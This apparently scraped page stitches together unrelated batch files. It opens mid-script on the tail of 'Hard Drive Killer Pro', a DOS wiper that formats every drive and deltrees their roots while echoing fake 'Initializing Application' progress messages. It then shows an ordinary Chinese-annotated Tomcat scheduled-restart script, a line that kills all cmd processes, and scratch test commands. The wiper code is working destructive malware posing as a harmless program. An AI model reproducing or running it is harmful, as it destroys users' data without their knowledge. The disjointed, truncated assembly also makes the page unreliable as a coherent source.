
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file creat

ed above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul

call attrib +r +h c:\temp.bat >nul

call attrib +r +h c:\autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius

echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians

(help me get out of here).

實作:

Tomcat_restart.bat

@echo off echo program start echo mod=%1 time=%2 set_time=%3 set mod=%1 set tim=%2 set set_time=%3 set before=""; goto gettime :start @ping 127.0.0.1 -n 2 -w 1000 > nul if %mod% == s goto secondmodel if %mod% == m goto minutemodel if %mod% == h goto hourmodel if %mod% == D goto daydmodel if %mod% == M goto monthmodel goto gettime :secondmodel set /a condition = %Sec% %% %tim% if %Sec% == %3 ( echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) if [%3] == [] (if %condition% EQU 0 ( echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% Every %tim% second restart & goto tomcatshutdown ) ) goto gettime :minutemodel set /a condition = %Min% %% %tim% if NOT %Min% == %before% ( if [%Min% == [%3 ( set before=%Min% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) ) if [%3] == [] ( if NOT %Min% == %before% ( if %condition% == 0 ( set before=%Min% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% Every %tim% minute restart & goto tomcatshutdown ) ) ) goto gettime :hourmodel set /a condition = %Hou% %% %tim% if NOT %Hou% == %before% ( if [%Hou% == [%3 ( set before=%Hou% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) ) if [%3] == [] ( if NOT %Hou% == %before% ( if %condition% == 0 ( set before=%Hou% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% Every %tim% hour restart & goto tomcatshutdown ) ) ) goto gettime :daydmodel set /a condition = %Da% %% %tim% if NOT %Da% == %before% ( if [%Da% == [%3 ( set before=%Da% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) ) if [%3] == [] ( if NOT %Da% == %before% ( if %condition% == 0 ( set before=Da% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% Every %tim% day restart & goto tomcatshutdown ) ) ) goto gettime :monthmodel set /a condition = %Mon% %% %tim% if NOT %Mon% == %before% ( if [%Mon% == [%3 ( set before=%Mon% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) ) if [%3] == [] ( if NOT %Mon% == %before% ( if %condition% == 0 ( set before=%Mon% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% Every %tim% month restart & goto tomcatshutdown ) ) ) goto gettime :gettime set Yea=%date:~0,4% set Mon=%date:~5,2% set Da=%date:~8,2% set Hou=%time:~0,2% set Min=%time:~3,2% set Sec=%time:~6,2%   if %Sec% == 08 set Sec=8 if %Sec% == 09 set Sec=9 if %Min% == 08 set Min=8 if %Min% == 09 set Min=9 if %Hou% == 08 set Hou=8 if %Hou% == 09 set Hou=9 if %Da% == 08 set Da=8 if %Da% == 09 set Da=9 if %Mon% == 08 set Mon=8 if %Mon% == 09 set Mon=9 echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% goto start :tomcatshutdown Rem maintance tomcat restart set dir="C:\Users\pellok\Desktop\tomcat7-isodms\bin" echo "Restart Tomcat" cd %dir% echo "Shutdown Tomcat..." call shutdown.bat @ping 127.0.0.1 -n 10 -w 1000 > nul for /f "tokens=2,10" %%a in ('tasklist /V ^|find "java.exe"') do echo %%a %%b &  if %%b == Tomcat taskkill /f /pid %%a @ping 127.0.0.1 -n 5 -w 1000 > nul echo "Shutdown Tomcat Done" goto tomcatstart :tomcatstart echo "Start Tomcat..." call startup.bat echo "Start Tomcat Done" goto gettime

Kil all cmd pid.bat

Rem kill all cmd for /f "tokens=2" %%i in ('tasklist ^|find "cmd"') do taskkill /f /pid  %%i

測試指令

set ttt=N set ttt=%1 if [%1] EQU [] (echo Value Missing) else (echo tttttt) if [%ttt%] EQU [] echo dddddd if "%Sec%" EQU "15 " set Sec=8 & echo ttttttttttttttttttttttttttttt if NOT %Min% == %before% echo tttt if NOT %Min% == %before% (echo ttt) else (echo dddd) if %Sec%==08 ( set /a condition = 8 %% 20 ) else ( if %Sec%==09 (set /a condition = 9 %% 20 ) else (set /a condition = %Sec% %% 20)) if NOT %Min% == %before% ( if [%Min% == [%3 ( set before=%Min% & echo %Yea%/%Mon%/%Da% %Hou%:%Min%:%Sec% %set_time% second restart & goto tomcatshutdown ) )